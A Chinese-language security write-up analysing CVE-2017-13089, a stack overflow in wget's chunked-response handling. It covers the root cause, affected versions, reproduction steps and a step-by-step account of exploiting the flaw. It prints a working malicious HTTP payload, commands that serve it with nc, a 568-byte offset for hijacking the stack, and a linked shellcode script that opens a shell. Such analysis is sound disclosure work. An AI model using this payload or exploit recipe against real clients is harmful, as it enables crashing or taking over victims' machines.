作者:k2yk@昊天实验室
在 2017 年 11 月 12 日 NVD公布了关于 wget 的多个漏洞的情报,这里做一个wget缓冲区溢出漏洞的分析。在 wget 版本小于1.19.2 的情况下,wget 在处理重定向时,会调用 http.c:skip_short_body()
函数, 解析器在解析块时会使用strtol()
函数读取每个块的长度,但不检查块长度是否为非负数。解析器试图通过使用MIN()
函数跳过块的前512个字节,最终传递参数到connect.c:fd_read()
中。由于fd_read()
仅会接受一个int参数,在攻击者试图放入一个负参数时,块长度的高32位被丢弃,使攻击者可以控制fd_read()中的长度参数,产生整形缓冲区溢出漏洞。
影响范围
影响版本为:wget <=1.19.1 影响系统范围如下:
Ubuntu Ubuntu Linux 17.10 Ubuntu Ubuntu Linux 17.04 Ubuntu Ubuntu Linux 16.04 LTS Ubuntu Ubuntu Linux 14.04 LTS Redhat Virtualization Host 4 Redhat Enterprise Linux Workstation 7 Redhat Enterprise Linux Server for ARM 7 Redhat Enterprise Linux Server - TUS 7.4 Redhat Enterprise Linux Server - Extended Update Support 7.4 Redhat Enterprise Linux Server - AUS 7.4 Redhat Enterprise Linux Server - 4 Year Extended Update Support 7.4 Redhat Enterprise Linux Server (for IBM Power LE) - 4 Year Extended Update Support 7.4 Redhat Enterprise Linux for Scientific Computing 7 Redhat Enterprise Linux for Power, little endian - Extended Update Supp 7.4 Redhat Enterprise Linux for Power, little endian 7 Redhat Enterprise Linux for Power, big endian - Extended Update Support 7.4 Redhat Enterprise Linux for Power, big endian 7 Redhat Enterprise Linux for IBM z Systems - Extended Update Support 7.4 Redhat Enterprise Linux for IBM z Systems 7 Redhat Enterprise Linux EUS Compute Node 7.4 Redhat Enterprise Linux Desktop 7 Redhat Enterprise Linux 7 GNU wget 0
在实际测试过程中,这个漏洞会因为某些系统修改过wget而导致无法复现。
现在本地搭建一个漏洞复现环境,漏洞复现过程这里推荐两个方案,一个是漏洞发现作者在git 上进行发布的dockerfile ,另外一个是自己进行编译的版本。 * CVE-2017-13089 的git 环境地址 https://github.com/r1b/CVE-2017-13089 * 使用方法
# Build the container docker build -t cve201713089 . # OR ... docker pull robertcolejensen/cve201713089 # Play around in the container, `src` will be mounted at `/opt/CVE-2017-13089/src` ./run.sh # Run the included DoS PoC ./run.sh dos # Run the included exploit PoC (wip) ./run.sh exploit
其次就是通过自己编译进行复现
# 获取wget wget ftp://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz # 解压 tar zxvf wget-1.19.1.tar.gz #进入目录 cd wget-1.19.1 #编译 ./configure make cd src 验证 nc -lp 6666 < payload & ./wget localhost:6666
下方为payload 文件:
HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive -0xFFFFFD00 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0
下图为复现过程
利用分析工具以及payload的相关特性,
我们根据分析工具的分析结果,除却引发漏洞的异常抛出外,我们发现了一个特别的函数skip_short_body
。
static bool skip_short_body (int fd, wgint contlen, bool chunked) { enum { SKIP_SIZE = 512, /* size of the download buffer */ SKIP_THRESHOLD = 4096 /* the largest size we read */ }; wgint remaining_chunk_size = 0; char dlbuf[SKIP_SIZE + 1]; dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */ /* If the body is too large, it makes more sense to simply close the connection than to try to read the body. */ if (contlen > SKIP_THRESHOLD) return false; while (contlen > 0 || chunked) { int ret; if (chunked) { if (remaining_chunk_size == 0) { char *line = fd_read_line (fd); char *endl; if (line == NULL) break; remaining_chunk_size = strtol (line, &endl, 16); xfree (line); if (remaining_chunk_size == 0) { line = fd_read_line (fd); xfree (line); break; } } contlen = MIN (remaining_chunk_size, SKIP_SIZE); } DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen))); ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1); if (ret <= 0) { /* Don't normally report the error since this is an optimization that should be invisible to the user. */ DEBUGP (("] aborting (%s).\n", ret < 0 ? fd_errstr (fd) : "EOF received")); return false; } contlen -= ret; if (chunked) { remaining_chunk_size -= ret; if (remaining_chunk_size == 0) { char *line = fd_read_line (fd); if (line == NULL) return false; else xfree (line); } } /* Safe even if %.*s bogusly expects terminating \0 because we've zero-terminated dlbuf above. */ DEBUGP (("%.*s", ret, dlbuf)); } DEBUGP (("] done.\n")); return true; }
根据这段代码逻辑,我们可以简单的理出一个简单的代码逻辑。 wget 在检测 short_body 的时候 先要检测出传输的块的大小,假若传入的块的大小的值不大于 4096 则进入进入这个漏洞的受害逻辑内。
if (contlen > SKIP_THRESHOLD) return false; while (contlen > 0 || chunked) { int ret; if (chunked) { if (remaining_chunk_size == 0) { char *line = fd_read_line (fd); char *endl; if (line == NULL) break; remaining_chunk_size = strtol (line, &endl, 16); xfree (line); if (remaining_chunk_size == 0) { line = fd_read_line (fd); xfree (line); break; } } contlen = MIN (remaining_chunk_size, SKIP_SIZE); } DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen))); ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
从这段代码中分析出,contlen = MIN (remaining_chunk_size, SKIP_SIZE);
只需小于512时,contlen
可控,综合上述代码逻辑,可以得出remaining_chunk_size
位负值时,contlen
为可控向量。在后面的代码逻辑中,fd_read()
使用了该受控制的向量,引发了缓冲区溢出漏洞。
int fd_read (int fd, char *buf, int bufsize, double timeout) { struct transport_info *info; LAZY_RETRIEVE_INFO (info); if (!poll_internal (fd, info, WAIT_FOR_READ, timeout)) return -1; if (info && info->imp->reader) return info->imp->reader (fd, buf, bufsize, info->ctx); else return sock_read (fd, buf, bufsize); }
我们可以看到在利用GDB进行调试的情况下,成功控制了利用溢出成功劫持了下一步执行的地址。
进入栈执行
利用成功演示
EXP的构造主要有2个要点:
偏移量这个点,根据写入栈的地址以及控制返回的栈地址我们可以得出,能够控制 RBP 的地址在写入栈的地址后的568位。因此,我们在构造EXP时,将即将控制栈的地址在shellcode 的568位后写入,即可实现对指针的控制。
ShellCode生成脚本:https://github.com/mzeyong/CVE-2017-13089
使用方式:python shellcode.py & nc -lp 80 < payload
该 ShellCode会在目标机器开启一个新的 shell,无其他危害,仅为演示证明漏洞存在。如果有小伙伴对通用型exp构造有兴趣可以一起交流!!!